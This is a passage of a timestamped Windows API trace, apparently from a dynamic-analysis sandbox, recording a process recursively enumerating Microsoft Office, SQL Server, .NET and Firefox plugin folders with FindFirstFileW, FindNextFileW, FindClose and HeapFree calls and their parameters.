	[0078.360] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1
	[0078.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.360] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1
	[0078.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.361] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0
	[0078.361] FindClose (in: hFindFile=0x5e05b0 | out: hFindFile=0x5e05b0) returned 1
	[0078.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.361] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0
	[0078.362] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0078.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.363] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0078.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.364] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0078.364] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.364] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0
	[0078.364] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0078.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.365] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0
	[0078.365] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0078.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0078.365] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1
	[0078.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.371] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0078.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0078.373] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0078.373] FindClose (in: hFindFile=0x5e05b0 | out: hFindFile=0x5e05b0) returned 1
	[0078.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.373] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0078.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.373] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0078.373] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0078.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.375] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0078.375] FindClose (in: hFindFile=0x5e0970 | out: hFindFile=0x5e0970) returned 1
	[0078.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.375] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0078.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.379] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0078.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.382] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCompare.rdlc", cAlternateFileName="ACCESS~1.RDL")) returned 1
	[0078.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.386] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMessageDismissal.txt", cAlternateFileName="EXCELM~1.TXT")) returned 1
	[0078.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.387] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c3c0a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c3c0a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x171878, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1
	[0078.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.388] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0
	[0078.389] FindClose (in: hFindFile=0x5e09f0 | out: hFindFile=0x5e09f0) returned 1
	[0078.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.390] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1
	[0078.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.391] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0
	[0078.391] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0078.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.391] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0
	[0078.391] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0078.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.392] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0078.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.430] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0078.430] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.431] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0
	[0078.431] FindClose (in: hFindFile=0x5e03b0 | out: hFindFile=0x5e03b0) returned 1
	[0078.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.435] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0078.664] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.664] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1
	[0078.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins\\*", lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e0570
	[0078.664] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0078.665] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npMeetingJoinPluginOC.dll", cAlternateFileName="NPMEET~1.DLL")) returned 1
	[0078.665] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npMeetingJoinPluginOC.dll", cAlternateFileName="NPMEET~1.DLL")) returned 0
	[0078.665] FindClose (in: hFindFile=0x5e0570 | out: hFindFile=0x5e0570) returned 1
	[0078.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.665] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0
	[0078.665] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0078.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.665] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0
	[0078.665] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0078.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0078.667] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0078.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\*", lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e05b0
	[0078.668] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
